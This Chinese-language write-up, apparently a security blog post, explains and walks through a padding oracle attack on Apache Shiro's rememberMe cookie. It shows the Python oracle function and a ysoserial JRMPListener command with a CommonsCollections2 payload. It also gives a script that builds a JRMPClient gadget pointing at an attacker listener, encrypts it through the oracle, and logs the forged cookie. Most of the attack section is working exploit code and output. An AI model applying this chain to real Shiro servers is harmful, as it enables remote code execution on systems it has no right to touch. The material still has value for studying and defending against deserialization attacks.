原理
shiro1.2.5后秘钥不再硬编码,但是采用CBC加密会产生padding oracle攻击,又因为java序列化结构体后可以加垃圾字符,所以攻击能够成功
解密时的调用链
1 | org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals // 不论哪个异常都会返回null,上层302跳转 |
Padding Oracle 原因
理论上即使padding通过,反序列化也会失败,统一报错并返回null。因为不管是Padding正确或是错误返回结果无区别,因此无法造成PaddingOracle。
但是注意到,若当字符串A可以成功反序列化,B为垃圾字符串,则A+B可以成功反序列化(这与java原生序列化数据结构有关),因此去掉SESSIONID后,在正常的rememberMe后面添加block,即rememberMe=prefix+iv+secret:
请求后:
如果BadPaddingException
- 返回重新登录(setCookie: DeleteMe=true)
如果Padding合法
- 与正常登录表现一样
因此存在Oracle:
1 | def shiro_decode(secret: bytearray, iv: bytearray) -> int: |
JRMP攻击步骤
自己服务器起一个JRMPListener:
1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1234 CommonsCollections2 'calc'
用padding生成密文,padding oracle脚本在https://github.com/Anemone95/padding-oracle-attack
1
2
3
4
5
6
7
8
9
10
11
12
13
14def shiro_padding_oracle():
fake_plain=get_deserialized("127.0.0.1:1234")
print(len(fake_plain))
iv, secret=encrypt(fake_plain, 16)
print(base64.b64encode(iv+secret))
def get_deserialized(host):
popen = subprocess.Popen(['java',
'-jar',
'ysoserial.jar',
'JRMPClient',
host],
stdout=subprocess.PIPE)
return popen.stdout.read()返回结果:
1
22019-08-07 17:39:10,651 : INFO : poc.py : encrypt : IV: 0f154f913ce794ad2c65ce9c0c2bd19e, Secret: d363571634286d600279fdf124069a65695e1c3338da0d27131b6c9362bece8f10796c1163d0c067713a46063ee25313325cb58eedd5cb62be1ed495bd1550974f008df6486bfd0fe24e5a04bd3fb090f036451821303e6b808034e4392c1225bf5a7a5e3eb9fab7b055c809330f83db7a561a2ac4e95f8d16c9bfbe66b35774c16cbb3089e54b63c4d8f86b490dca0f8f1ac46cd4ab2b41645b1909b7fdb4a5c21f15033b6f7dc30b3308ee8f2fb5bf220f38355bbfed92be9431a4127034a967f507f8fc582a00dae5c013263507cb54b08694cba7ef998145147ce8419cc5a665462c2d3b91fb259629d2289e31e9d3c407a02d382df90ac62a7c1b35b08767cbe3541a74987280dff8a541aa20b700000000000000000000000000000000
b'DxVPkTznlK0sZc6cDCvRntNjVxY0KG1gAnn98SQGmmVpXhwzONoNJxMbbJNivs6PEHlsEWPQwGdxOkYGPuJTEzJctY7t1ctivh7Ulb0VUJdPAI32SGv9D+JOWgS9P7CQ8DZFGCEwPmuAgDTkOSwSJb9ael4+ufq3sFXICTMPg9t6VhoqxOlfjRbJv75ms1d0wWy7MInlS2PE2PhrSQ3KD48axGzUqytBZFsZCbf9tKXCHxUDO299wwszCO6PL7W/Ig84NVu/7ZK+lDGkEnA0qWf1B/j8WCoA2uXAEyY1B8tUsIaUy6fvmYFFFHzoQZzFpmVGLC07kfsllinSKJ4x6dPEB6AtOC35CsYqfBs1sIdny+NUGnSYcoDf+KVBqiC3AAAAAAAAAAAAAAAAAAAAAA=='